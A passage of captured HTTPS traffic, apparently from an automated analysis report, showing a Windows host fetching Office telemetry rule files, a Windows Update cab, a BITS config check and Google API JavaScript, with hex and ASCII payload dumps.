2024-11-12 16:07:34 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.6	49777	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:34 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 16:07:35 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:34 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 43621d70-001e-0046-5ca5-34da4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T160734Z-15869dbbcc6rmhmhhC1DFW3r2c00000000gg000000001b33 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 16:07:35 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.6	49778	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:34 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 16:07:35 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:35 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: cd5b73c9-701e-0098-1e09-2d395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T160735Z-16547b76f7fkj7j4hC1DFW0a9g0000000fv000000000cutg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 16:07:35 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.6	49779	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:35 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 16:07:35 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:35 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 6538f966-101e-00a2-58f1-2c9f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T160735Z-16547b76f7f7scqbhC1DFW0m5w0000000fn000000000r4pz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 16:07:35 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.6	49780	20.109.210.53	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:35 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=vDlmEdS9slHvMsn&MD=NZk1s6hT HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-12 16:07:35 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 580e842f-40b4-45b0-b915-025469d20193 MS-RequestId: 094431fc-0a08-459d-8a81-e665ab642af3 MS-CV: 5KROTiEfMUuAjhU4.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Tue, 12 Nov 2024 16:07:35 GMT Connection: close Content-Length: 24490
2024-11-12 16:07:35 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-12 16:07:35 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.6	49782	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:35 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 16:07:35 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:35 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 29e284b5-001e-0065-5703-2d0b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T160735Z-16547b76f7fj5p7mhC1DFWf8w40000000fyg00000000esgm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 16:07:35 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.6	49785	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:35 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 16:07:35 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:35 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 06fd63be-801e-008f-5e01-2d2c5d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T160735Z-16547b76f7ftdm8dhC1DFWs13g0000000fwg000000005w2k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 16:07:35 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.6	49786	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:35 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 16:07:36 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:35 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: 9ba15ece-101e-0034-5d08-2c96ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T160735Z-16547b76f7f4k79zhC1DFWu9y00000000ft000000000sd0u x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 16:07:36 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.6	49791	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:36 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-12 16:07:36 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=175045 Date: Tue, 12 Nov 2024 16:07:36 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.6	49793	142.250.186.78	443	6820	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:36 UTC	721	OUT	GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0 HTTP/1.1 Host: apis.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-12 16:07:36 UTC	915	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/social-frontend-mpm-access Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="social-frontend-mpm-access" Report-To: {"group":"social-frontend-mpm-access","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/social-frontend-mpm-access"}]} Content-Length: 117949 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Tue, 12 Nov 2024 13:18:27 GMT Expires: Wed, 12 Nov 2025 13:18:27 GMT Cache-Control: public, max-age=31536000 Last-Modified: Thu, 10 Oct 2024 19:55:27 GMT Content-Type: text/javascript; charset=UTF-8 Vary: Accept-Encoding Age: 10149 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-12 16:07:36 UTC	463	IN	Data Raw: 67 61 70 69 2e 6c 6f 61 64 65 64 5f 30 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 3d 74 68 69 73 3b 0a 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 28 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 67 6c 6f 62 61 6c 54 68 69 73 3a 74 79 70 65 6f 66 20 73 65 6c 66 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 73 65 6c 66 3a 74 68 69 73 29 2e 5f 46 5f 74 6f 67 67 6c 65 73 3d 61 7c 7c 5b 5d 7d 3b 28 30 2c 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 29 28 5b 30 78 38 30 30 30 30 30 2c 20 5d 29 3b 0a 76 61 72 20 64 61 2c 65 61 2c 68 61 2c 6e 61 2c 6f 61 2c 73 61 2c 74 61 2c 77 61 3b 64 61 3d 66 75 6e Data Ascii: gapi.loaded_0(function(_){var window=this;_._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x800000, ]);var da,ea,ha,na,oa,sa,ta,wa;da=fun
2024-11-12 16:07:36 UTC	1378	IN	Data Raw: 74 6f 74 79 70 65 29 72 65 74 75 72 6e 20 61 3b 61 5b 62 5d 3d 63 2e 76 61 6c 75 65 3b 72 65 74 75 72 6e 20 61 7d 3b 0a 68 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 5b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2c 61 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 73 65 6c 66 26 26 73 65 6c 66 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 5d 3b 66 6f 72 28 76 61 72 20 62 3d 30 3b 62 3c 61 2e 6c 65 6e 67 74 68 3b 2b 2b 62 29 7b 76 61 72 20 63 3d 61 5b 62 5d 3b 69 66 28 63 26 26 63 2e 4d 61 74 68 3d 3d 4d 61 74 68 29 72 65 74 75 Data Ascii: totype)return a;a[b]=c.value;return a};ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)retu
2024-11-12 16:07:36 UTC	1378	IN	Data Raw: 61 72 20 62 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 26 26 61 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3b 69 66 28 62 29 72 65 74 75 72 6e 20 62 2e 63 61 6c 6c 28 61 29 3b 69 66 28 74 79 70 65 6f 66 20 61 2e 6c 65 6e 67 74 68 3d 3d 22 6e 75 6d 62 65 72 22 29 72 65 74 75 72 6e 7b 6e 65 78 74 3a 64 61 28 61 29 7d 3b 74 68 72 6f 77 20 45 72 72 6f 72 28 22 62 60 22 2b 53 74 72 69 6e 67 28 61 29 29 3b 7d 3b 73 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 61 2c 62 29 7d 3b 74 61 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 61 73 Data Ascii: ar b=typeof Symbol!="undefined"&&Symbol.iterator&&a[Symbol.iterator];if(b)return b.call(a);if(typeof a.length=="number")return{next:da(a)};throw Error("b`"+String(a));};sa=function(a,b){return Object.prototype.hasOwnProperty.call(a,b)};ta=typeof Object.as
2024-11-12 16:07:36 UTC	1378	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 28 68 29 7b 74 68 69 73 2e 46 61 3d 30 3b 74 68 69 73 2e 77 66 3d 76 6f 69 64 20 30 3b 74 68 69 73 2e 4e 72 3d 5b 5d 3b 74 68 69 73 2e 68 56 3d 21 31 3b 76 61 72 20 6b 3d 74 68 69 73 2e 6a 46 28 29 3b 74 72 79 7b 68 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 63 61 74 63 68 28 6c 29 7b 6b 2e 72 65 6a 65 63 74 28 6c 29 7d 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 6a 46 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 68 28 6d 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 6c 7c 7c 28 6c 3d 21 30 2c 6d 2e 63 61 6c 6c 28 6b 2c 6e 29 29 7d 7d 76 61 72 20 6b 3d 74 68 69 73 2c 6c 3d 21 31 3b 72 65 74 75 72 6e 7b 72 65 73 6f 6c 76 65 3a 68 28 74 68 69 73 2e 53 64 61 29 2c 72 65 6a 65 63 74 Data Ascii: function(h){this.Fa=0;this.wf=void 